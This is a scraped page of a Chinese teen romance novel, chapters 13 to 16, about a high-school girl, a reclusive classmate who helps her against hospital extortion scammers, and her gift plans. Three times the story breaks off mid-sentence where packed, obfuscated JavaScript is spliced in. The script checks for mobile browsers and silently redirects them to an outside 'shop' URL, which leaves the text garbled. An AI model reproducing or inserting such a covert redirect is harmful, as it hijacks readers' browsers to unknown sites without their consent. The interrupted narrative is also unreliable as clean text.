或许是因为养了猫,客厅里倒是看不到什么易碎物品,她心下稍安,耐心等小猫这股疯狂劲过去。 三花猫在领地里巡视了半天,再一个大跳上了沙发,咚咚咚地来回飞窜,爪子突然勾碰到什么,哗啦啦一声,有东西掉了下去。 舒禾听见声音心里一咯噔,连忙跑了过去。 只见地毯上是一个黑色手提包,大概是没拉拉链,里面的东西零零碎碎散落出来。 花里胡哨的封面,堆了约莫有一二十个,舒禾以前在任姝宁那里见过类似的东西,好像是switch上的游戏卡带。 还好不是什么玻璃易碎制品。 她蹲下身,一个个捡起来,整齐摞放回包里。 连着放了好几个,猝不及防的,里面竟有一张封面十分色.情的光碟暴露出来。 舒禾刚伸出去的手猛地颤了颤。 这张光碟混在一堆游戏卡带中,只露了一角,能清晰看见上面衣衫尽褪的女人,眼神妩媚,摆出的姿势非同寻常。 满目肉色映入眼帘,舒禾从未见过如此极具冲击力的画面,顿时瞠目结舌,一瞬涨红了脸颊。 半空中的手颤颤巍巍,想碰又不敢碰。 贺行雪……贺行雪……他还是未成年吧,怎,怎么能在背地里看这种东西! 舒禾腮颊滚烫,仿佛窥见了什么不能为人道的秘辛,心跳得极快。 僵持了半晌,她索性狠下心来两眼一闭,红着脸飞速把它塞进手提包里,又手忙脚乱地把其他东西一并整理好,按照原本的模样谨慎放了回去,才稍一松口气。 她可不敢让他发现自己看到了他的光碟,这种事尴尬不说,万一他恼羞成怒,一气之下把她打一顿怎么办? 还好他在楼上睡觉。 不、不对,他到底是在睡觉……还是窝在房间里看那种东西? 乱七八糟的想法一股脑冒出来,舒禾颇为心慌意乱地抬起眼睛,往电梯方向觑了一眼,结果就这一眼,却见电梯门轻颤,竟缓缓往两侧移开。 舒禾惶然地睁大眼睛,手足无措。 那道高挑的身影正站在金属梯厢内,姿态随性懒散,英挺又困倦的面容显露出来,那双漆黑的眸子略抬,目光恰好与她相接。 舒禾心脏一颤,顿时如见青獠恶鬼,慌不择路地逃开,转瞬就离沙发上的罪证“十丈远”。 贺行雪皱眉,奇怪地微歪着头看她。 他一个早晨没吃东西,才睡没多久便饿醒了,顶着睡意下楼寻点吃的。电梯门一开,就看见客厅一团黑影急急晃过,几乎从沙发跳到了门口鞋柜。 不知道的还以为家里遭贼了。贺行雪这时才从睡梦里惊醒,回忆起家里多了个人,他略略惊奇地望着女生,片刻后,朝她走了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888994|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么了,脸这么红。” 习惯性停在距离她一米的位置,贺行雪敛眸端详着女生红得不正常的脸。 “啊,有、有吗?可能是,太热了吧……”舒禾无端心虚,说话结结巴巴的,眼神乱晃,左顾右盼,就是不敢看他,心脏都快要跳出胸口。 她觑一眼沙发上那个黑色手提包,又飞快移开,苦着小脸,不断祈祷着别被男生瞧出端倪。 闻言,贺行雪看了看自己的长袖家居服,又扫了眼她单薄的短袖,心里愈发疑虑。 不能是之前衣服溅了点水,又吹了空调,感冒发烧了吧?这荷包蛋的体质怎么这么脆弱。 贺行雪腹诽着,想问她要不要吃点药:“你……” 第一个音节甫一出口,舒禾如同受了惊吓般,埋着头飞快从他身旁绕了出去。 跟个炮弹似的一下窜到几米远。 贺行雪顿住,转过身去看她。 男生浑身散发着幽冷的气息,站在原地,仿若一个怨鬼。 他干嘛了,跑什么? 舒禾自然不知他所想,一边动作慌乱地收拾着自己带来的东西,一边含糊其辞:“猫猫已经洗完也剪完了指甲,衣服我也放洗衣机里设置好烘干了,卫生全部整理干净,我要先走了,你检查完没问题记得上闲鱼收货。” 她叽里咕噜说完一大堆,抱着东西急匆匆要走,贺行雪皱眉沉目,长手一伸,在门口拦住了她。 “你是不是……”遇到什么事情了。 他话未说完,舒禾慌乱心虚,怕他问出光碟之事,急迫之下音量不自觉提高了:“没有!” 好意询问却被她打断,贺行雪顿时有点不高兴了,嘴唇微抿。 冷着脸,沉默下来睨着她。 女生微微侧着脸,无措地咬了咬唇角,她的睫毛很长,目光在旁边那堵墙上乱晃,也不知道那墙有什么好看。 等了半晌,也没等到她一句慰哄的话。 他睨着堪堪到自己胸口的矮子,淡淡挪开视线,没什么情绪地“哦”了声,侧开身给她让道。 舒禾心里敲锣打鼓,想着那张碟片,一会儿羞得脸红,一会儿吓得脸白,根本没察觉男生莫测的情绪波动。 他阻拦的动作甫收回去,舒禾立刻抱着一大堆东西,头也不回地逃一般离开了。 走得毫不犹豫,可谓迫不及待,背影一溜烟就化成一个小点,连句告别的话也没有。 门内,只剩贺行雪冷清清站在原地,面色阴晴不定。 他好不容易从角落里捡拾出的一点好心,捧到别人面前,结果人家不仅不稀罕,还作出一副见了鬼的样子,慌里慌张地就跑了。 有点委屈,有点不爽。贺行雪微微咬着牙,恶狠狠地盯着骄阳下那道纤瘦的身影,仿佛要将她烧穿烧化。 房门重重地关上,发出特别大一声轰隆,仿佛某种凶残的宣誓,可惜另一个人听不见。 贺行雪不动声色摁着掌心,手被反作用力震得发疼,他转身往回走,揿亮电梯按键,门一开,面容幽冷地走了进去。 这个荷包蛋一点追人的自觉都没有。 电梯缓缓上升,贺行雪盯着金属壁面映出的面无表情的自己,心中冷笑。他可再不会给她一个好脸色。 14. 第 14 章 顶着四十度高温,舒禾哼哧哼哧地把烘干箱抱回宠物店,在路边快速解决午饭,赶到书店时已经快至下午一点。 书店门口新摆了一套桌椅,舒禾走到男生对面坐下,从书包里翻出数学题,说话时还累得有些气喘吁吁:“抱歉啊,我来晚了。” “没关系,我早上正好练练作文。”秦嘉文温和地笑了笑,抬起眼看见她时忽然一顿,语气迟疑了一会儿:“你……不舒服吗?” 他担忧地看着女生绯红的脸颊。 听到这句话,无可避免地,舒禾脑海中不断牵扯出贺行雪的脸,以及那张碟片上不可描述的内容。 两副画面来回交替着,她呼吸颤了颤,脸颊愈发滚烫,强装镇定地说:“没有,只是外面太热了。” “今天确实很热。”秦嘉文边说边起身,拿一次性纸杯接了温水递给她,“喝点水吧,小心中暑。” 舒禾连忙道谢,接过纸杯小口小口地喝,途中掀起睫毛偷偷看了一眼面前温文尔雅的男生。 他和贺行雪居然是朋友。 这实在难以想象,她呼吸颤了颤,握着纸杯的手慢慢收紧。 至少,秦同学一定不会像他那样,看那些令人羞于启齿的东西。 闭了闭眼,赶走脑海里乱七八糟的画面,舒禾翻开数学题册,开始同秦嘉文一起静心学习,偶尔交流几句。只能说学霸不愧是学霸,这一下午的时间她收获到好多知识,比自己独自摸索有效率得多。 很快便至五点,将要返校。 两人收拾好东西,出门时,秦嘉文脚步忽然顿了顿,像装着什么心事似的,慢慢停了下来。 舒禾疑惑地看着他。 男生嘴唇微抿,不自在地朝她指了下另一个方向,犹犹豫豫地说:“我要先去一趟阿雪家里……取点东西,就不跟你一起了,你先回学校吧。” 阿雪…… 又是他。 舒禾思维发散了一会儿,下意识捏紧书包带子。她现在完全不想听到这个名字,不然总会回忆起些奇奇怪怪的画面,闻言便点点头同他告别。 临走前,她忽然想起什么,回头对他道:“对了,下周末早上我要去医院帮妈妈拿药,还是要等下午才能过来。” 陈燕梅有咳嗽的老毛病,每个月初都要固定时间去拿药,如果碰上周末,理发店生意忙不过来的时候,就会让她帮忙跑个腿。 秦嘉文应了一声。 * 周末的医院里依旧人来人往,舒禾拿着医生开的药单子,在取药窗口的大厅寻了个位置坐下。 前面还有十几号人,她拿起手机,刚准备背会儿英语单词,手机突然弹出一条消息,是任姝宁从校论坛转发来的一条帖子。 -撸猫大使:呜呜呜呜我还是好不甘心啊……和学霸大帅哥就这么错过了…… 她点进帖子里扫了一眼,不出意料又是有关贺行雪的。 贴内附了几张他在国外上中学时的一些照片以及获得的各种奖项,上面那些英文单词超过了舒禾的知识范畴,总之洋洋洒洒一大堆看起来很厉害的样子,不知贴主是从哪里扒出来的。 早上才发出的帖子,底下评论居然就快破千了,仅凭着几张照片,硬生生被顶成了热帖,很难想象他要是回学校会是个什么光景。 舒禾随意地翻了一下。 智商高,长得帅,还有钱,这样的男生本就很能吸引正处于青春期女孩的目光,更别说她们还和这种传闻里的人当过两天校友,勉强算得上近距离接触过。 这种感觉就像是,原本高不可攀的人短暂地出现在了你身边,你正为此高兴窃喜时,他却又消失无踪,那种巨大的落差感很能加剧人的遗憾心理。 舒禾抿了抿唇,退出帖子。 怎么哪里都有他。 真是越不想听到的事情,越要出现。 看着好友发来哭诉的消息,舒禾睫毛颤颤的,很想和她说看人不要看表面,却又不想胡乱透露别人的隐私。 她心里挣扎了许久,才慢慢发送过去几个字。 -禾:他不是个好人[皱眉] 因为在背后说了别人坏话,舒禾有点心虚难安,啪得一下关掉手机,雪白的腮颊染上粉红色。 好在没多久,医院的播报语音便叫到了她。 将药单子递进窗口,里面的工作人员对照着单子取出几盒药,一起送了出来。 舒禾低头检查了一下没问题,便装进小塑料袋里,准备给妈妈送去理发店。 刚转过身,一个人影猝不及防撞了上来。 力道很重,她连药袋子都没拿稳,落在地上撒了出去。 “怎么走路的啊你!”男人怒气冲冲地朝她吼道。 舒禾被撞得懵了一瞬,继而不可置信地睁大眼。 他简直倒打一耙。 这是个二十岁出头的男人,棕黄色头发,长得不算特别高,露出的手臂肌肉上有大片纹身,看起来流里流气。他身边还挽着一个漂亮的年轻女生,穿着宽松长裙,素手轻轻抚在肚子上。 这男的还在唧唧歪歪:“走路不长眼睛的啊你?” 舒禾一边蹲过去赶紧将药捡起来,一边忍不住据理力争道:“我刚一直站在那里取药,动都没动过,才刚转过身,一步都没走出去呢,明明是你朝我撞过来的。” “放你娘的狗屁。”他转头向地上啐了口唾沫,“你说说你有哪里特殊的,我不撞别人,偏偏逮着你撞?” 舒禾看着这种没素质的画面厌恶地拧了拧眉,总之也没有什么损失,她便不想再和这种人纠缠,倘若上升到身体冲突,到时候吃亏的还是她。 思及此,她干脆利落地转身就走。 谁料男人一个跨步拦住了她的去路:“撞了人也不道个歉,随随便便就想走?还讲不讲点道理了?” 舒禾深吸了一口气,依旧不想惹麻烦上身,温和平静地说:“你想要道歉,那我和你说对不起,但是咱们谁撞的谁,心里都有数。” 混混挑眉,接着以一种很恶心的眼神,上下打量了她一眼:“看你还是个中学生,是附近附中的吧?怎么还教出一个无赖来了?” 这个年纪的学生,一般都很怕社会上的风言风语牵扯到学校或家人那里,就算错不在自己,但谣言可畏众口铄金,说的人多了,谁还管是不是那么回事呢?总会有些异样的眼光落到身上。 他太了解这些中学生的心理了,根本不敢让事情闹到学校去,于是他用大度的语气说:“本来嘛,我也是个懒得计较的人,但今天我女朋友也在,她又是个孕妇,被你这么一撞那事情就可大可小了,得检查了才知道。” 他见女生被吓到似的不吭声,不由气焰更跋扈了:“正好在医院也方便,不过体谅你是个学生没什么钱,我也不收你多的,检查费一人一半吧。” 他可是知道,大多附中学生家里都挺有钱的,攒下的零花钱怎么都够检查费用了。 由于舒禾一直是个息事宁人的态度,他们闹出的动静不算太大,大厅里只偶尔有几道视线投射过来,不过来医院的要么是病患,要么是病患家属,大家都没那个精力去管别人的闲事。 自顾自地拿药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888995|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自顾自地离开。 贺行雪从心理咨询室走出来,听见远处有些动静,兴致缺缺地撩了撩眼皮,远远瞥见了人流中僵持不下的几道身影。 其中一个个子矮的,看着还有那么一点眼熟。 他定眼看了看,认出来了。 这不就是上周见鬼似的,从他家里慌慌张张跑出来的人么。 真是哪儿都有她。 另一边,舒禾听完这个男人的话,彻底明白这是一场有预谋的碰瓷了,一时半会儿站在那里没反应过来。 她没有处理这种事情的经验,但医院这种地方处处都是监控,倒是不怕被人硬泼脏水在身上。 因此说话时还算镇定:“检查费不可能,有问题你们可以找警察调监控,请不要拦着我的路。” “找警察?我女朋友现在要是出了什么问题,等警察到黄花菜都凉了。” 舒禾皱眉,他揽着女朋友杵在那里一动不动,幸而过道宽敞,旁边还有路。 见吵架吵不过他,舒禾便准备从他们身边绕开,然而才刚转了转身,男人却好像早有预料似的,觑准了时机一把抓向女生手腕。 “你还想直接跑了?” 舒禾没想到他会在大庭广众下动手,吓得心跳都停滞了一瞬。 然而就在他抓向她的电光石火之间,另一只手快准狠地在半空截住了他。 余光里忽然出现一抹黑色衣角,和它一同出现的,还有空气中飘来的淡淡苦橙气味,清冽地覆在她鼻间,盖住了医院的消毒水味道。 舒禾怔然地侧眸。 贺行雪唇角轻扯,钳住男人的手施了点力,他语气懒懒散散:“欺负一个女孩子,不合适吧。” “操,”那混混疼得面容扭曲一瞬,挣了下竟然没挣出,气急败坏道,“妈的给老子放开!” 贺行雪先转头扫了眼舒禾。 舒禾正呆呆地望着他,一双杏眼睁得圆不溜秋,像被吓傻了,又像是不知道他怎么突然出现在这,整个人还处在惊讶懵然中,完全没在状态。 “……”贺行雪看了看她,“有没有事?” “啊,”舒禾这才回过神来,“我没事,他没碰到我。” 闻言贺行雪才松手放开他,男人立刻退了好几步,吃痛地嘶声甩了甩手,他女朋友担忧地凑上去。 贺行雪垂着眼睫,他的掌心里还残留着别人的体温,这感觉让人很是恶寒,他只觉得心里好像有蚂蚁在爬,偏又没带纸巾,现在也不方便去洗手。 他忍了忍,还是忍不住,瞥了眼舒禾。 她衣服后面正好带了个帽子。 帮她解决了个麻烦,拿她帽子擦下手不过分吧。 贺行雪想着,颇为心安理得地伸手过去,把她的帽子揉攥成可怜巴巴的一小团,放在掌心里细细摩擦了几下。 直到那股不适感完全消退,他的手顺带微微一提,便把一无所知的帽子主人拉了过来。 舒禾只觉喉间一紧,未待反应,下一秒就被拎到了男生面前。 “……” 她未回神,不解地拧着眉毛看他:“你干嘛?” 四目相对。 贺行雪松开手,敛眸睨着她。 女孩儿尚有些心有余悸,整个大脑都慢了半拍,模样有些傻兮兮的。 贺行雪沉默不语,舒禾迎着他打量的目光,心里莫名打着鼓,奇怪问:“你在看什么?” 闻言,贺行雪挪开视线,看着前方依偎的一男一女。 他神情懒怠,话不知是对谁说的。 “看个傻蛋儿。” 15. 第 15 章 舒禾一愣:“什么?” 贺行雪却不搭腔,下颌微抬,朝她示意前面的两个人:“怎么个事?” 舒禾便顺着他的目光看过去,小声向他解释了来龙去脉,接着不大高兴地说:“我怀疑他们是碰瓷的。” 专挑看起来好欺负的老实人。 贺行雪微微侧过头,注视身旁的女生。 须臾,他点了点头,高深莫测地来了一句:“不错,还有救。” 舒禾疑惑地嗯了一声,显然没听明白。 贺行雪慢悠悠地补充:“还没傻得彻底。” 这下她听明白了,瞬间回忆起他方才的话,舒禾不可置信地看着他问:“所以你刚刚说的傻蛋,是在叫我?” 贺行雪理直气壮地点头,嗯哼了一声:“不是你,难不成是我?” 舒禾嗫嚅着张了张唇,哪有这样说人的…… 到底没来得及说出口,不远处一直在观察这边的混混,仿佛终于得出了结果,手也不疼了,又带着女朋友向他们走过来。 他冷哼了一声,目光在贺行雪和舒禾之间来回巡视,最终停留在舒禾身上。 “小妹妹,你是觉得现在有男朋友护着了,就不用负责了是吗?” 他见两人交流熟稔的模样,显然是误会了他们的关系。 混混心想着,这个男生年龄都摆在这儿了,不见得有什么社会阅历,顶多也就是力气大了点,他多吓唬几句,从他们心理上瓦解,这两人还不是只能跟小白花似的绑定在一起任他折腾。 内心畅想得很美好,待回到现实中时,他却突地发觉不对劲,面前这两人不知怎么安静得不像话。 下意识抬眼,竟见男生女生此刻正默契的,以同一种诡异的表情盯着他。 ……诡异?他冷不丁吓了一跳。 男朋友。舒禾呆了呆,几乎是下意识地就往旁边挪了几步,离“男朋友”远了一些。 这熟悉的画面,似曾相识的感觉,她好像就在不久之前经历过。 怎么总有人把他们误认成情侣…… 她缓了缓,偷偷觑一眼男生。 贺行雪自然没好到哪里去,一听到那句“男朋友”,大脑某处就跟触电似的炸了一下,噼里啪啦地把他思绪搅作一团。 苍天可鉴,这些年虽收到的情书告白不断,但别提恋爱了,他贺行雪长到现在,可是连女孩子的手都没牵过!怎么突然就莫名其妙被安了个男朋友的名头……还是那个傻蛋的男朋友。 他身形在原地滞了滞。 少顷,冷冷地掀起眼皮,睨向那个男人。 “当然得负责。” 碰瓷不说,还污他清名,当然得负责。 舒禾闻言看了看他,眸底的疑惑之意明明白白,但贺行雪不想说话,只淡定地给她递了一个眼神。 舒禾见此,心便放了放。 很奇怪的,她莫名相信这个男生。 混混却不知这其中弯弯绕绕,只以为这俩小孩被他唬住了,眼神不由亮了亮,手小幅度碰了碰他女朋友,话却是对他们说的:“那走呗,我们去前台缴费。” 说完还笑嘻嘻夸赞了句:“看来还是你这个小男生比较有担当啊。” 听着阴阳怪气的。 混混的女朋友很适时地在一旁捂着肚子皱眉,做出了身体不适的表情。 “急什么。”贺行雪慢条斯理地说,“我们好学生,遇到事情肯定要先找警察。” 混混脚步一顿,当即怒道:“没看我女朋友都不舒服了吗?我们哪有空陪你等警察!” 他满脸一副你们别想赖账的神情。 贺行雪好脾气地笑了笑:“不用等啊。” 闻言,混混和他女朋友都顿时滞住,有了种不太好的预感。他们望着眼前这个男生,心里陡生一股凉意,转瞬爬满四肢百骸。 舒禾似有所感,侧了侧身望向门口,便见此时大门处正好走进来两名身穿制服的警察。 她不由地一愣,回眸看了看身旁懒洋洋的男生。 他是什么时候…… 那混混和他女朋友显然也看见了,两个人浑身僵硬地站在那里,双腿下意识地往后挪,目光惊诧又恐惧地扫射四周,是一副想跑又不敢跑的样子。 那两名警察一进来,视线迅速锁定了这边,更准确地说,是锁定了满脸慌张的那两个人。 他们毫不耽误,快步赶过来,冷声笑道。 “上次就有人报过警,让你们给跑了,刚一接到电话,我就知道又是你们两个!” 听样子,这两人还是前科屡屡的惯犯。 那混混被警察严声质问得往后趔趄了一下:“警官,上次不是我们啊,误会,误会……” 警察用力拍了拍他肩膀,皮笑肉不笑地,示意他跟自己走:“是不是误会的,我们先回去喝杯茶,慢慢讲。” 舒禾见那两人铁青着脸,忍不住偷偷笑了一下,真是恶有恶报。 事情大致解决了,贺行雪看得兴致缺缺,他昨晚只睡了三四小时,现在困意复卷上来,有点想回去睡觉。 另一名警察走过来,跟他们核实一下情况做好了记录,便带着那两人回局子。临走时,贺行雪瞥了眼混混青白交加的脸,索然点评了一句:“跟演电影似的。” 舒禾:“……” 顿了一会儿,她抬眼望向他,诚恳说道:“今天谢谢你啊,贺同学。” 如果没有他,还真有点麻烦。 贺行雪没吭声。 对外的事解决完了,但对内的情绪还没消化完。他还没忘记一星期前的事情,反正心里是不怎么痛快,刚才去帮忙,纯粹是这傻蛋运气好,碰见他这么个不计前嫌的热心群众。 贺行雪单手插兜,看着这个眼神诚挚的女生,绷着冷脸不说话,就差把“爷很清高不屑与你们凡夫俗子为伍”写在眼神里。 但是也没走。 一高一矮的两个人,一个低头一个抬脸,停在缓缓流动的人群里,像被单独按下了暂停键。 对视半晌。 “……” 舒禾率先败下阵来,移开目光,迟疑了会,问道:“你怎么也在医院,身体不舒服吗?” 他眼睫微敛,惜字如金:“没有。” 至于为什么在医院,这就说来话长了,不符合他如今高冷的人设,所以贺行雪干脆直接忽略,等这傻蛋什么时候把他哄好了,再勉强考虑要不要阐明。 空气再次沉默。 考虑到男生或许有什么难言之隐,舒禾便没有多嘴再问,看了眼时间,此时快至中午,正好肚子也有些饿了,因而对他道:“谢谢你今天的帮忙,要不,我请你吃个饭吧?” 上周那笔天降横财,还好好地待余额里没动。 贺行雪闻言瞅了一眼她,心里清楚前面那句谢谢只是一个借口。 她就是单纯想约他吃饭罢了。 请吃饭……算是在哄他吗?会不会有点太敷衍了啊,贺行雪暗自想,如果这么简单就被哄好,岂不显得他是个随随便便的人,以后她要是再惹他生气该怎么办? 不行不行,不能让她轻易得逞。 贺行雪矜持地回答:“我待会有事。” 这是个折中说法,他心道,再多哄两句,证明一下她坚定的诚心,倒也不是不能考虑…… “这样啊。”舒禾遗憾地说。 时间已不早,她还得赶回理发店,因此不便再耽搁。 抬眼时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900500|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见男生正看着她,那眼神似有催促之意,她微微一愣,很快恍然。 “那,我就先回去啦?” 贺行雪:“……” 他伪装出来的表情差点裂开,硬生生地扯出一个笑:“去吧。” 这笑看起来怪瘆人的,舒禾摸了摸手臂,大夏天的,激起一层鸡皮疙瘩。 两人一前一后地往外走,一路沉默着没说话。 舒禾是本来话就不多,加上男生明显拒绝交流的神情,她更不会去硬凑话题,于是两人安安静静地走出医院。 贺行雪走在她后面,盯着女生圆圆的后脑勺,眼神颇有几分凶神恶煞,垂在身侧的手都捏紧了。 他真想敲开这颗傻蛋,看看里面装的都是些什么。 医院外有一个小花园,供住院的患者用来散步锻炼,不过正值暑热,此刻花园里寥无人迹,只有哗哗的树声,伴随着绵长的蝉鸣。 真奇怪。 舒禾觑了眼太阳,脑袋怎么凉凉的。 前方不远就是医院正门,而后是个十字岔路,没有树荫的遮挡,阳光太晒太晃眼,她低头从包里拿出遮阳伞,小小的一把嫩黄色。 撑开时,突然瞥见了身后的人。 男生此时轻耷着眉眼,视线垂在地面,神色显得有些冷漠,不远不近地落在后面。 她微微一顿,脚步慢了下来。 贺行雪心情十分糟糕,简直称得上五内俱焚,各种不爽全摆在了脸上。 这天太刺眼,蝉鸣好聒噪,破风吵死人,街边的车水马龙晃得人眼睛疼。 他心烦意乱地闷头走。 ……还有前面那个女生,走那么快到底要去干嘛! 果然,待在家里比什么都好。 脚踩到路上的碎石头,他忿忿地用力碾了一下,接着郁郁寡欢地继续抬步。 没迈两步,头顶忽然落下一片阴凉。 他身体微微一顿,眼皮抬了抬,随即怔在了原地。 女生不知什么时候竟走了回来,正捏着一把嫩黄的小伞,她白皙细瘦的手臂高高举着,在费力地往他头上罩。 那双清澈明亮的眼里倒映着他的影子,贺行雪低头,目光落在女孩子莹白的脸颊,他无意识地定在了那里,先前所有的不快,就在这一个瞬息消失。 贺行雪的思绪毫无预兆地被拉回了医院的心理咨询室。 他的心理医生常贻,是一位中年女性,看人的眼神往往带着一种通透的慈悯。 常贻曾细致地了解过贺行雪在国外学校所遭受的排挤和校园暴力,也在去年冬天,在这间医院,亲眼看见过奄奄一息濒临死亡的他。 咨询室里,漫长的诊疗时间,他曾无数次剖开自己的血肉,神色冷静地让常贻看见他内心的腐朽。 但常贻脸上总挂着慈和的笑,那模样像极了一位母亲:“小贺,有的时候,你可以试着把自己想像成一个橘子,你知道,世界上并非所有人都爱吃这种水果,不喜欢橘子的人,可能一直把它放到茶几上,任由其变质发霉腐烂,然后扔进垃圾桶里,那,这是橘子的错吗?” 贺行雪没说话。 常贻温柔坚定地看着他。 “不,它只是没等到一个爱吃橘子的人。” 舒禾忽见街对面的红灯快要转绿,顾不得再说别的,匆匆忙忙地把伞往男生手里一塞:“给你用,我先走啦。” 说完,她抬手挡着烈日,赶在绿灯最后十几秒,着急忙慌地冲过去。 那身影很快汇入人流之中。 贺行雪插兜站在原地。 他举目望着对面街道,另一只手里的伞不自觉地紧了紧。 有那么一刻,他的呼吸连带着心跳,都骤然急促了几分。 16. 第 16 章 开学几周过后,舒禾彻底融入到分班后的学习当中,进步飞快。加上有年级第一的辅导,就算是基础薄弱的那两科,成绩也提升得非常明显,上周周考的成绩出来后,舒禾发现她的班级排名居然上升了六个名次! 虽然依旧是吊车尾。 不过只要在进步就是好事情,舒禾心态还不错,每天都充满动力,这股学习的劲头更大了,除开上课时间,她课余几乎从早到晚都在刷题,一周就能写完三本厚厚的题册! 任姝宁看见,自叹弗如。 “阿禾,照你这么学下去,明年我该不会就要拥有一个文科状元的好朋友了吧!” 任姝宁幻想了一下那个场景,心里深觉与有荣焉,激动地自告奋勇道:“到时候如果有一堆记者拦在校门口不让走,你只管放心,我一定会把你掩护得好好的!” 舒禾被她揶揄得脸颊都烧了起来,扑上去捂住她喋喋不休的嘴:“你不许乱说!我这才哪到哪呀……” 嘴巴被捂住也不能阻止任姝宁发出含含糊糊的声音:“我说真的!阿禾你这么聪明,又这么努力……” “停停停停停!”舒禾简直受不了好朋友对她的迷之自信,连忙打住她,松开手,极快地切换到另一个话题,“阿宁,我想不出来该送男生什么礼物比较好,你有没有推荐的呀?” 一听这话,任姝宁果然被转移了注意力,兴奋地凑了过去,八卦之魂熊熊燃烧:“送谁啊?不会是我们的年级第一吧!!” 她知晓这两人每周末都约在一起学习。 互为状元预备役选手,宿敌变恋人,校园到都市,双强cp,天啊,任姝宁双眼放光,脑子里瞬间叠满了元素,好嗑!好嗑! 舒禾点了点头,知道她又想歪了,不得不解释道:“下周末是秦嘉文生日,他帮了我这么多,我总要回赠一点心意。我和他就是普通朋友,你别多想啦。” 下周末的中午秦嘉文家里要给他举办生日聚会,所以他最快也只能下午才到书店,便提前和她说了这事。 “好吧。”刚磕起来的cp就被正主拆散了,任姝宁有点失落,不过依旧仔细想了想,琢磨道:“男生一般都喜欢比较实用的礼物,像学习用具啊,运动用品啊……哦对了,我听说秦嘉文有晨跑的习惯,或许可以买点运动相关的?” 舒禾若有所思地唔了一声,觉得这个主意不错,可以回去找找看。两人接着聊了一会,任姝宁突然想起来一件事。 “那天我给你发贺男神的帖子,你先是回我一个他不是好人,怎么没过多久就变卦了,又发来一句说,他人挺好?”她当时还发过去一个疑问号,结果舒禾死活不回复了。 “……” 突然提起这个事,她还有些心虚地躲开了视线。 那天前脚刚说完别人不是好人,后脚别人就出现在她面前,还帮她解决了麻烦事。舒禾心里很是惭愧,但是发出去的消息已经无法撤回,只能强装淡定地找补了一句。 “就……突然觉得背后说人坏话不太好。”面对任姝宁炯炯的眼神,她快速含糊了过去。 送礼思路有了着落,当晚回家,写完给自己布置的课外作业后,舒禾就拿起手机,搜索了一下运动相关的礼物推荐。 篮球、筋膜枪、运动护膝、运动手环……天啊这也太多种类了,选择困难症都要犯了。 挑了十几分钟,没选出个结果,反而把她看得眼花缭乱。舒禾泄气地放下手机,准备先去洗漱,边洗边想。 正准备起身时,她的余光忽然瞥见一小抹橙色,动作不由一顿。 那是之前从贺行雪家慌慌张张回来后,她放在包里的那罐橘子汽水,喝也不是,丢了也不好,最后就被她随手放在了窗台上。 舒禾没起身,趴在木板书桌上,望着那罐橙色汽水,脑海中不知想起了什么,脸颊一点点漫上绯红,她局促地移开视线。 过了片刻,又犹犹豫豫拿起手机,抖着手在搜索引擎上慢慢输入: ——男生看黄片会有什么危害? 打完这行字,她的脸已经涨红得没法看,做了好几次深呼吸让自己平静下来,去看屏幕上显示的内容。 上面洋洋洒洒列举了一大堆出来:容易有成瘾倾向,影响工作、学习或睡眠,过度沉迷可能会减少现实生活社交,引发或加剧性功能障碍…… 底下附了一条总结意见:如果出现以上情况,建议到医院进行专业咨询,或尝试加强与现实的连接,多培养运动等兴趣爱好转移注意。 看见“医院”两个字眼,舒禾的大脑极重极沉地轰隆一声,顿然回忆起那天,她问起此事时,男生闭口不言的画面。 霎时间,仿佛有什么从水面下浮了起来。 正常情况下,为什么在医院这种事,就算不想多说,应该也不至于会刻意回避这个话题吧……她目光呆呆的,思维不由自主地发散。 所以…他…障碍……? 舒禾红着脸赶紧晃了晃头,把这种先入为主的想法扼杀住,而后悄悄吐出一口气。 不管怎么样,青少年看这种东西总归是不好的。这些天舒禾还偶尔能回想起那张惊世骇俗的碟片,每次想到都要被震惊一次,搞得她学习效率都有所下降。贺行雪这个人虽然总是忽冷忽热,但他上次还出现替她解了围,其实人也还挺好的。 那,她是不是应该,稍微提醒一下他啊? 可是这种事情,要怎么才能说呢…… 她纠结半晌,忽然想起刚才为秦嘉文选的生日礼物,里面有一个是运动手环,能设定每日运动的任务目标,精准记录数据,价格也不算太贵,两百左右。应该……挺适合他的?多运动运动,就没心思想别的了。 舒禾越想越觉得合适,正好她还愁之前洗猫那几百不知该什么办,退给他他也不要,换成礼物他总能收了。 那么,一个给秦嘉文当作生日礼物,一个送给他……当作上次的谢礼吧。 这样一来,生日礼物的事情也解决了,舒禾兴致勃勃地想,今晚可以睡个好觉了。 * 凌晨两点,天幕漆黑,万籁岑寂。 电竞桌前的屏幕淡淡散着荧光,映在男生脸上,各色光线强弱交错。 